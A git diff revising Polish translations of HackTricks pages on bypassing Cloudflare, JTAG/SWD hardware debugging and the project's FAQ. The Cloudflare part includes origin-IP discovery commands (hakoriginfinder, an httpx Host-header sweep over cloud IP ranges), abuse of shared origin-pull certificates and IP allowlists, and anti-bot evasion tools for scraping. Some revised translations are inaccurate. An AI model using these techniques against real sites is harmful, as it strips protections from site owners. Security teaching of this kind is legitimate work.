* [Shodan](https://shodan.io/)
* [Bypass-firewalls-by-DNS-history](https://github.com/vincentcox/bypass-firewalls-by-DNS-history)
-* Jeśli masz zestaw potencjalnych adresów IP, na których znajduje się strona internetowa, możesz użyć [https://github.com/hakluke/hakoriginfinder](https://github.com/hakluke/hakoriginfinder)
+* Jeśli masz zestaw potencjalnych adresów IP, gdzie znajduje się strona internetowa, możesz skorzystać z [https://github.com/hakluke/hakoriginfinder](https://github.com/hakluke/hakoriginfinder)
```bash
# You can check if the tool is working with
prips 1.0.0.0/30 | hakoriginfinder -h one.one.one.one
@@ -47,7 +47,7 @@ echo "Checking $ir"
prips $ir | hakoriginfinder -h "$DOMAIN"
done
```
-## Odkrywanie Cloudflare z maszyn w chmurze
+## Odkrywanie Cloudflare z maszyn chmurowych
Należy zauważyć, że nawet jeśli to zostało wykonane dla maszyn AWS, można to zrobić dla dowolnego innego dostawcy chmury.
@@ -67,38 +67,38 @@ cat webs.json | jq -r "select((.failed==false) and (.chain_status_codes | length
# Search via Host header
httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld.com -threads 250 -random-agent -follow-redirects -o web_checks.json
```
-## Omijanie Cloudflare za pomocą Cloudflare
+## Ominięcie Cloudflare poprzez Cloudflare
-### Uwierzytelnione Origin Pulls
+### Uwierzytelnione Pochodzenie Pobiera
-Ten mechanizm polega na **użyciu certyfikatów SSL klienta** do uwierzytelniania połączeń między serwerami **odwrotnego proxy Cloudflare** a serwerem **pochodzenia**, co nazywane jest **mTLS**.
+Ten mechanizm polega na **certyfikatach SSL klienta** do uwierzytelniania połączeń między serwerami **odwrotnego proxy Cloudflare** a serwerem **pochodzenia**, który jest nazywany **mTLS**.
-Zamiast konfigurować własny certyfikat, klienci mogą po prostu użyć certyfikatu Cloudflare, aby umożliwić dowolne połączenie z Cloudflare, **bez względu na najemcę**.
+Zamiast konfigurować własny certyfikat, klienci mogą po prostu użyć certyfikatu Cloudflare, aby zezwolić na dowolne połączenie z Cloudflare, **bez względu na najemcę**.
{% hint style="danger" %}
-W związku z tym, atakujący może po prostu ustawić **domenę w Cloudflare, używając certyfikatu Cloudflare** i skierować ją na adres IP **ofiary**. W ten sposób, ustawiając swoją domenę całkowicie niechronioną, Cloudflare nie będzie chronić wysyłanych żądań.
+Dlatego atakujący mógłby po prostu ustawić **domenę w Cloudflare, używając certyfikatu Cloudflare i skierować** ją na adres IP **ofiary**. W ten sposób, ustawiając swoją domenę całkowicie niechronioną, Cloudflare nie będzie chronić wysyłanych żądań.
{% endhint %}
Więcej informacji [**tutaj**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/).
-### Dozwolone adresy IP Cloudflare
+### Pozwól na Listę Adresów IP Cloudflare
-Spowoduje to **odrzucenie połączeń, które nie pochodzą z zakresu adresów IP Cloudflare**. Jest to również podatne na wcześniejszą konfigurację, w której atakujący po prostu **skierowuje swoją własną domenę w Cloudflare** na adres IP **ofiary** i atakuje go.
+To spowoduje, że **połączenia niepochodzące z adresów IP Cloudflare** zostaną odrzucone. Jest to również podatne na wcześniejszą konfigurację, w której atakujący po prostu **skieruje swoją własną domenę w Cloudflare** na adres IP **ofiary** i ją zaatakuje.
Więcej informacji [**tutaj**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/).
-## Omijanie Cloudflare dla scrapingu
+## Ominięcie Cloudflare dla scrapowania
### Pamięć podręczna
-Czasami chcesz po prostu ominąć Cloudflare, aby tylko przeszukiwać stronę internetową. Istnieją pewne opcje:
+Czasami chcesz po prostu ominąć Cloudflare, aby tylko scrapować stronę internetową. Istnieją pewne opcje:
* Użyj pamięci podręcznej Google: `https://webcache.googleusercontent.com/search?q=cache:https://www.petsathome.com/shop/en/pets/dog`
* Użyj innych usług pamięci podręcznej, takich jak [https://archive.org/web/](https://archive.org/web/)
### Rozwiązania Cloudflare
-Opracowano wiele rozwiązań Cloudflare:
+Opracowano kilka rozwiązań do omijania Cloudflare:
* [FlareSolverr](https://github.com/FlareSolverr/FlareSolverr)
* [cloudscraper](https://github.com/VeNoMouS/cloudscraper) [Przewodnik tutaj](https://scrapeops.io/python-web-scraping-playbook/python-cloudscraper/)
@@ -108,52 +108,51 @@ Opracowano wiele rozwiązań Cloudflare:
* [cloudflare-bypass](https://github.com/devgianlu/cloudflare-bypass) \[Zarchiwizowane]
* [CloudflareSolverRe](https://github.com/RyuzakiH/CloudflareSolverRe)
-### Wzmocnione przeglądarki bez głowy
+### Wzmocnione przeglądarki bezinterfejsowe
-Użyj przeglądarki bez głowy, która nie jest wykrywana jako automatyczna przeglądarka (może być konieczne dostosowanie jej do tego). Oto kilka opcji:
+Użyj przeglądarki bezinterfejsowej, która nie jest wykrywana jako przeglądarka zautomatyzowana (może być konieczne dostosowanie jej do tego). Niektóre opcje to:
* **Puppeteer:** Wtyczka [stealth](https://github.com/berstend/puppeteer-extra/tree/master/packages/puppeteer-extra-plugin-stealth) dla [puppeteer](https://github.com/puppeteer/puppeteer).
-* **Playwright:** Wkrótce pojawi się wtyczka [stealth](https://www.npmjs.com/package/playwright-stealth) dla Playwright. Śledź rozwój [tutaj](https://github.com/berstend/puppeteer-extra/issues/454) i [tutaj](https://github.com/berstend/puppeteer-extra/tree/master/packages/playwright-extra).
-* **Selenium:** [undetected-chromedriver](https://github.com/ultrafunkamsterdam/undetected-chromedriver), zoptymalizowany patch dla Selenium Chromedriver.
+* **Playwright:** Wkrótce pojawi się wtyczka [stealth](https://www.npmjs.com/package/playwright-stealth) dla Playwright. Śledź postępy [tutaj](https://github.com/berstend/puppeteer-extra/issues/454) i [tutaj](https://github.com/berstend/puppeteer-extra/tree/master/packages/playwright-extra).
+* **Selenium:** [undetected-chromedriver](https://github.com/ultrafunkamsterdam/undetected-chromedriver) zoptymalizowany łatka do Selenium Chromedriver.
-### Inteligentny proxy z wbudowanym mechanizmem bypassu Cloudflare
+### Inteligentny Proxy z Wbudowanym Ominięciem Cloudflare
-**Inteligentne proxy** są ciągle aktualizowane przez wyspecjalizowane firmy, które mają na celu obejście środków bezpieczeństwa Cloudflare (ponieważ to jest ich działalność).
+**Inteligentne proxy** są ciągle aktualizowane przez specjalizowane firmy, które mają na celu obejście środków bezpieczeństwa Cloudflare (ponieważ to ich działalność).
Niektóre z nich to:
-* [ScraperAPI](https://www.scraperapi.com/?fp_ref=scrapeops)
+
+* [ScraperAPI](https://www.scraperapi.com/?fp\_ref=scrapeops)
* [Scrapingbee](https://www.scrapingbee.com/?fpr=scrapeops)
-* [Oxylabs](https://oxylabs.go2cloud.org/aff_c?offer_id=7&aff_id=379&url_id=32)
-* [Smartproxy](https://prf.hn/click/camref:1100loxdG/[p_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb) są znane z własnych mechanizmów bypassu Cloudflare.
+* [Oxylabs](https://oxylabs.go2cloud.org/aff\_c?offer\_id=7\&aff\_id=379\&url\_id=32)
+* [Smartproxy](https://prf.hn/click/camref:1100loxdG/\[p\_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb) są znane z własnych mechanizmów ominięcia Cloudflare.
-Dla tych, którzy szukają zoptymalizowanego rozwiązania, wyróżnia się [ScrapeOps Proxy Aggregator](https://scrapeops.io/proxy-aggregator/). Ta usługa integruje ponad 20 dostawców proxy w jedno API, automatycznie wybierając najlepsze i najbardziej opłacalne proxy dla Twoich domen docelowych, oferując tym samym doskonałą opcję do omijania obrony Cloudflare.
+Dla tych, którzy szukają zoptymalizowanego rozwiązania, wyróżnia się [Aggregator Proxy ScrapeOps](https://scrapeops.io/proxy-aggregator/). Ta usługa integruje ponad 20 dostawców proxy w jedno API, automatycznie wybierając najlepszy i najbardziej opłacalny proxy dla twoich domen docelowych, oferując tym samym doskonałą opcję do omijania obrony Cloudflare.
-### Reverse Engineering ochrony przed botami Cloudflare
+### Odwrócenie Ochrony Przeciwbota Cloudflare
-Reverse engineering środków anty-botowych Cloudflare to taktyka stosowana przez dostawców inteligentnych proxy, odpowiednia do rozległego przeszukiwania stron internetowych bez wysokich kosztów związanych z uruchamianiem wielu przeglądarek bez głowy.
+Odwracanie ochrony przeciwbota Cloudflare to taktyka stosowana przez dostawców inteligentnych proxy, odpowiednia do rozległego scrapowania stron internetowych bez wysokich kosztów związanych z uruchamianiem wielu przeglądarek bezinterfejsowych.
-**Zalety:** Ta metoda pozwala na stworzenie niezwykle wydajnego bypassu, który specjalnie celuje w kontrole Cloudflare, idealny do operacji na dużą skalę.
+**Zalety:** Ta metoda pozwala na stworzenie niezwykle wydajnego ominięcia, które specjalnie celuje w kontrole Cloudflare, idealne do operacji na dużą skalę.
-**Wady:** Wada polega na złożoności związanej z zrozumieniem i oszukiwaniem celowo niejasnego systemu anty-botowego Cloudflare, wymagającym ciągłego wysiłku w celu testowania różnych strategii i aktualizacji bypassu w miarę udoskonalania ochrony Cloudflare.
+**Wady:** Wadą jest złożoność związana z zrozumieniem i oszukiwaniem celowo niejasnego systemu przeciwbota Cloudflare, wymagająca ciągłego wysiłku w celu testowania różnych strategii i aktualizacji ominięcia w miarę udoskonalania swojej ochrony przez Cloudflare.
Dowiedz się więcej na temat tego, jak to zrobić w [oryginalnym artykule](https://scrapeops.io/web-scraping-playbook/how-to-bypass-cloudflare/).
-
-
-## Odwołania
+## Referencje
* [https://scrapeops.io/web-scraping-playbook/how-to-bypass-cloudflare/](https://scrapeops.io/web-scraping-playbook/how-to-bypass-cloudflare/)
-Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
+Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
-* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
-* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Podziel się swoimi trikami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/todo/hardware-hacking/README.md b/todo/hardware-hacking/README.md
index 6ae59a442..1907ad422 100644
--- a/todo/hardware-hacking/README.md
+++ b/todo/hardware-hacking/README.md
@@ -1,27 +1,26 @@
+# Hacking sprzętowy
+
-Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
+Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
-* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
-* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów GitHub.
+* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
+## JTAG
-#
+JTAG pozwala na przeprowadzenie skanowania granicznego. Skanowanie graniczne analizuje określoną układankę, w tym wbudowane komórki skanowania granicznego i rejestry dla każdego pinu.
-# JTAG
+Standard JTAG definiuje **konkretne polecenia do przeprowadzania skanowania granicznego**, w tym:
-JTAG umożliwia przeprowadzenie skanu granicznego. Skan graniczny analizuje określone układy, w tym wbudowane komórki i rejestry skanu granicznego dla każdego pinu.
-
-Standard JTAG definiuje **konkretne polecenia do przeprowadzania skanów granicznych**, w tym:
-
-* **BYPASS** pozwala na przetestowanie określonego układu bez konieczności przechodzenia przez inne układy.
+* **BYPASS** pozwala przetestować określony układ bez konieczności przechodzenia przez inne układy.
* **SAMPLE/PRELOAD** pobiera próbkę danych wchodzących i wychodzących z urządzenia, gdy jest w normalnym trybie działania.
* **EXTEST** ustawia i odczytuje stany pinów.
@@ -30,49 +29,48 @@ Może również obsługiwać inne polecenia, takie jak:
* **IDCODE** do identyfikacji urządzenia
* **INTEST** do wewnętrznego testowania urządzenia
-Możesz natknąć się na te instrukcje, gdy korzystasz z narzędzia takiego jak JTAGulator.
+Możesz natknąć się na te instrukcje, gdy używasz narzędzia takiego jak JTAGulator.
-## Port dostępu testowego
+### Port dostępu do testów
-Skanowanie graniczne obejmuje testy czteroprzewodowego **Portu Dostępu Testowego (TAP)**, uniwersalnego portu zapewniającego **dostęp do funkcji wsparcia testu JTAG** wbudowanych w komponent. TAP wykorzystuje następujące pięć sygnałów:
+Skanowanie graniczne obejmuje testy czteroprzewodowego **Portu Dostępu do Testów (TAP)**, portu ogólnego przeznaczenia zapewniającego **dostęp do funkcji wsparcia testów JTAG** wbudowanych w komponent. TAP wykorzystuje następujące pięć sygnałów:
-* Wejście zegara testowego (**TCK**) TCK to **zegar**, który definiuje, jak często kontroler TAP będzie podejmował pojedynczą akcję (innymi słowy, przejście do następnego stanu w maszynie stanów).
-* Wybór trybu testowego (**TMS**) wejście TMS kontroluje **maszynę stanów skończonych**. Przy każdym taktowaniu zegara kontroler TAP JTAG urządzenia sprawdza napięcie na pinie TMS. Jeśli napięcie jest poniżej określonego progu, sygnał jest uważany za niski i interpretowany jako 0, natomiast jeśli napięcie jest powyżej określonego progu, sygnał jest uważany za wysoki i interpretowany jako 1.
-* Wejście danych testowych (**TDI**) TDI to pin, który **wysyła dane do układu za pomocą komórek skanujących**. Każdy producent jest odpowiedzialny za zdefiniowanie protokołu komunikacyjnego przez ten pin, ponieważ JTAG tego nie definiuje.
-* Wyjście danych testowych (**TDO**) TDO to pin, który **wysyła dane z układu**.
-* Wejście resetowania testowego (**TRST**) Opcjonalne TRST resetuje **maszynę stanów skończonych do znanego stanu**. Alternatywnie, jeśli TMS jest utrzymywane na wartości 1 przez pięć kolejnych cykli zegara, wywołuje reset, tak samo jak pin TRST, dlatego TRST jest opcjonalny.
+* Wejście zegara testowego (**TCK**) TCK to **zegar**, który definiuje, jak często kontroler TAP podejmie pojedynczą akcję (innymi słowy, przejdzie do następnego stanu w maszynie stanów).
+* Wejście wyboru trybu testowego (**TMS**) TMS kontroluje **maszynę stanów skończonych**. Przy każdym taktowaniu zegara kontroler TAP JTAG urządzenia sprawdza napięcie na pinie TMS. Jeśli napięcie jest poniżej określonego progu, sygnał jest uważany za niski i interpretowany jako 0, natomiast jeśli napięcie jest powyżej określonego progu, sygnał jest uważany za wysoki i interpretowany jako 1.
+* Wejście danych testowych (**TDI**) TDI to pin, który wysyła **dane do układu za pośrednictwem komórek skanowania**. Każdy producent jest odpowiedzialny za określenie protokołu komunikacyjnego przez ten pin, ponieważ JTAG tego nie definiuje.
+* Wyjście danych testowych (**TDO**) TDO to pin, który wysyła **dane z układu**.
+* Wejście resetowania testowego (**TRST**) Opcjonalne TRST resetuje maszynę stanów skończonych **do znanego dobrego stanu**. Alternatywnie, jeśli TMS jest utrzymywane na 1 przez pięć kolejnych cykli zegara, wywołuje reset, tak samo jak pin TRST, dlatego TRST jest opcjonalny.
-Czasami będziesz w stanie znaleźć te piny oznaczone na PCB. W innych przypadkach może być konieczne **odnalezienie ich**.
+Czasami będziesz w stanie znaleźć te piny oznaczone na PCB. W innych sytuacjach możesz potrzebować ich **znalezienia**.
-## Identyfikowanie pinów JTAG
+### Identyfikacja pinów JTAG
Najszybszym, ale najdroższym sposobem wykrywania portów JTAG jest użycie **JTAGulatora**, urządzenia stworzonego specjalnie w tym celu (choć może **również wykrywać układy UART**).
-Posiada **24 kanały**, które można podłączyć do pinów płytek. Następnie wykonuje atak **BF** wszystkich możliwych kombinacji, wysyłając polecenia skanu granicznego **IDCODE** i **BYPASS**. Jeśli otrzyma odpowiedź, wyświetla kanał odpowiadający każdemu sygnałowi JTAG.
+Posiada **24 kanały**, które można podłączyć do pinów płytek. Następnie wykonuje **atak BF** wszystkich możliwych kombinacji wysyłając polecenia skanowania granicznego **IDCODE** i **BYPASS**. Jeśli otrzyma odpowiedź, wyświetla kanał odpowiadający każdemu sygnałowi JTAG.
Tańszym, ale znacznie wolniejszym sposobem identyfikacji pinów JTAG jest użycie [**JTAGenum**](https://github.com/cyphunk/JTAGenum/) załadowanego na mikrokontrolerze kompatybilnym z Arduino.
-Korzystając z **JTAGenum**, najpierw **zdefiniujesz piny sondowania** urządzenia, które będziesz używać do wyliczenia. Musisz odwołać się do diagramu pinów urządzenia, a następnie połączyć te piny z punktami testowymi na docelowym urządzeniu.
+Korzystając z **JTAGenum**, najpierw musisz **zdefiniować piny urządzenia sondującego**, które będziesz używać do wyliczenia. Musisz odnieść się do schematu pinów urządzenia, a następnie połączyć te piny z punktami testowymi na docelowym urządzeniu.
-Trzecim sposobem identyfikacji pinów JTAG jest **sprawdzenie PCB** pod kątem jednego z pinów. W niektórych przypadkach PCB mogą wygodnie dostarczać **interfejs Tag-Connect**, który jest wyraźnym wskazaniem, że płyta posiada złącze JTAG. Możesz zobaczyć, jak wygląda ten interfejs na stronie [https://www.tag-connect.com/info/](https://www.tag-connect.com/info/). Dodatkowo, przeglądanie **kart katalogowych układów scalonych na PCB** może ujawnić diagramy pinów wskazujące na interfejsy JTAG.
+**Trzecim sposobem** identyfikacji pinów JTAG jest **inspekcja PCB** w poszukiwaniu jednego z pinów. W niektórych przypadkach PCB mogą wygodnie dostarczyć **interfejs Tag-Connect**, co stanowi jasny sygnał, że płyta ma również złącze JTAG. Możesz zobaczyć, jak wygląda ten interfejs na stronie [https://www.tag-connect.com/info/](https://www.tag-connect.com/info/). Dodatkowo, inspekcja **arkuszy danych chipsetów na PCB** może ujawnić schematy pinów wskazujące na interfejsy JTAG.
-# SDW
+## SDW
-SWD to protokół specyficzny dla ARM, zaprojektowany do debugowania.
-
-Interfejs SWD wymaga **dwóch pinów**: dwukierunkowego sygnału **SWDIO**, który jest odpowiednikiem pinów **TDI i TDO w JTAG**, oraz zegara **SWCLK**, który jest odpowiednikiem **TCK** w JTAG. Wiele urządzeń obsługuje **Port Debugowania Serial Wire lub JTAG (SWJ-DP)**, łączny interfejs JTAG i SWD, który umożliwia podłączenie sondy SWD lub JTAG do docelowego urządzenia.
+SWD to protokół specyficzny dla ARM zaprojektowany do debugowania.
+Interfejs SWD wymaga **dwóch pinów**: dwukierunkowego sygnału **SWDIO**, który jest odpowiednikiem pinów **TDI i TDO w JTAG** oraz zegara, oraz **SWCLK**, który jest odpowiednikiem **TCK** w JTAG. Wiele urządzeń obsługuje **Port Szeregowy lub Port Debugowania JTAG (SWJ-DP)**, łączny interfejs JTAG i SWD, który umożliwia podłączenie sondy SWD lub JTAG do celu.
-Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
+Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
-* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
-* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów GitHub.
+* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
diff --git a/welcome/hacktricks-values-and-faq.md b/welcome/hacktricks-values-and-faq.md
index d4c6e1868..9ed1f6185 100644
--- a/welcome/hacktricks-values-and-faq.md
+++ b/welcome/hacktricks-values-and-faq.md
@@ -1,16 +1,16 @@
-# Wartości HackTricks i FAQ
+# Wartości i FAQ HackTricks
-Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
+Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
-* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
-* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
@@ -19,15 +19,15 @@ Inne sposoby wsparcia HackTricks:
{% hint style="success" %}
Oto **wartości projektu HackTricks**:
-* Zapewnienie **DARMOWEGO** dostępu do **EDUKACYJNYCH zasobów hakerskich** dla **WSZYSTKICH** w Internecie.
-* Hakerstwo polega na uczeniu się, a nauka powinna być jak najbardziej darmowa.
+* Zapewnienie **DARMOWEGO** dostępu do zasobów **EDUKACYJNEGO hakowania** dla **WSZYSTKICH** w Internecie.
+* Hakowanie polega na nauce, a nauka powinna być jak najbardziej darmowa.
* Celem tej książki jest służenie jako wszechstronny **zasób edukacyjny**.
-* **PRZECHOWYWANIE** niesamowitych **technik hakerskich**, które społeczność publikuje, przyznając **ORYGINALNYM** **AUTOROM** wszystkie **zasługi**.
-* **Nie chcemy zasług od innych osób**, chcemy tylko przechowywać fajne sztuczki dla wszystkich.
+* **PRZECHOWUJ** niesamowite **techniki hakowania**, które społeczność publikuje, przyznając **ORYGINALNYM AUTOROM** całą **zasługę**.
+* **Nie chcemy zasługi od innych osób**, chcemy tylko przechowywać fajne sztuczki dla wszystkich.
* Piszemy również **nasze własne badania** w HackTricks.
-* W wielu przypadkach napiszemy tylko **w HackTricks podsumowanie ważnych części** techniki i **zachęcamy czytelnika do odwiedzenia oryginalnego postu** po więcej szczegółów.
-* **ORGANIZUJEMY** wszystkie techniki hakerskie w książce, aby były **BARDZIEJ DOSTĘPNE**
-* Zespół HackTricks poświęcił tysiące godzin na darmowe **tylko po to, aby zorganizować treść**, aby ludzie mogli **szybciej się uczyć**
+* W wielu przypadkach napiszemy tylko **w HackTricks podsumowanie ważnych części** techniki i zachęcimy czytelnika do odwiedzenia oryginalnego postu po więcej szczegółów.
+* **ORGANIZUJEMY** wszystkie techniki hakowania w książce, aby były **BARDZIEJ DOSTĘPNE**
+* Zespół HackTricks poświęcił tysiące godzin za darmo **tylko po to, aby zorganizować treści**, dzięki czemu ludzie mogą **szybciej się uczyć**
{% endhint %}
@@ -35,18 +35,18 @@ Oto **wartości projektu HackTricks**:
## FAQ HackTricks
{% hint style="success" %}
-* **Dziękuję bardzo za te zasoby, jak mogę ci podziękować?**
+* **Dziękuję bardzo za te zasoby, jak mogę wam podziękować?**
{% endhint %}
-Publicznie możesz podziękować zespołowi HackTricks za publiczne udostępnienie wszystkich tych zasobów w tweecie, w którym wspomnisz [**@hacktricks\_live**](https://twitter.com/hacktricks\_live).\
-Jeśli jesteś szczególnie wdzięczny, możesz również [**sponsorować projekt tutaj**](https://github.com/sponsors/carlospolop).\
+Możesz publicznie podziękować zespołowi HackTricks za zebranie wszystkich tych zasobów publicznie w tweecie, wspominając [**@hacktricks\_live**](https://twitter.com/hacktricks\_live).\
+Jeśli jesteś szczególnie wdzięczny, możesz także [**sponsorować projekt tutaj**](https://github.com/sponsors/carlospolop).\
I nie zapomnij **dać gwiazdki w projektach na Githubie!** (Znajdź linki poniżej).
{% hint style="success" %}
* **Jak mogę przyczynić się do projektu?**
{% endhint %}
-Możesz **udostępniać nowe wskazówki i sztuczki społeczności lub naprawiać błędy**, które znajdziesz w książkach, wysyłając **Pull Request** na odpowiednie strony Githuba:
+Możesz **udostępniać nowe wskazówki i sztuczki społeczności lub naprawiać błędy**, które znajdziesz w książkach, wysyłając **Pull Request** na odpowiednie strony Github:
* [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
* [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
@@ -57,14 +57,14 @@ Nie zapomnij **dać gwiazdki w projektach na Githubie!**
* **Czy mogę skopiować pewne treści z HackTricks i umieścić je na moim blogu?**
{% endhint %}
-Tak, możesz, ale **nie zapomnij podać konkretnego linku(lub linków)**, skąd pochodzi treść.
+Tak, możesz, ale **nie zapomnij podać konkretnych linków**, skąd pochodziła treść.
{% hint style="success" %}
* **Jak mogę cytować stronę z HackTricks?**
{% endhint %}
-Jeśli link **do** strony(y), z której pochodzi informacja, jest widoczny, to wystarczy.\
-Jeśli potrzebujesz bibtex, możesz użyć czegoś takiego:
+O ile link **do** strony(y), z której czerpałeś informacje, się pojawi, to wystarczy.\
+Jeśli potrzebujesz bibtex, możesz użyć czegoś w stylu:
```latex
@misc{hacktricks-bibtexing,
author = {"HackTricks Team" or the Authors name of the specific page/trick},
@@ -74,88 +74,96 @@ url = {\url{https://book.hacktricks.xyz/specific-page}},
}
```
{% hint style="warning" %}
-* **Czy mogę skopiować całe HackTricks na swojego bloga?**
+* **Czy mogę skopiować wszystkie HackTricks na swojego bloga?**
{% endhint %}
-**Raczej nie**. To **nikomu nie przyniesie korzyści**, ponieważ cała **treść jest już publicznie dostępna** w oficjalnych, bezpłatnych książkach HackTricks.
+**Raczej nie**. To **nie przyniesie korzyści nikomu**, ponieważ cała **zawartość jest już publicznie dostępna** w oficjalnych książkach HackTricks za darmo.
-Jeśli obawiasz się, że treść zniknie, po prostu sklonuj ją na Githubie lub pobierz, jak już wspomniałem, jest już za darmo.
+Jeśli obawiasz się, że zawartość zniknie, po prostu sklonuj ją na Githubie lub pobierz, jak już wspomniałem, jest to już darmowe.
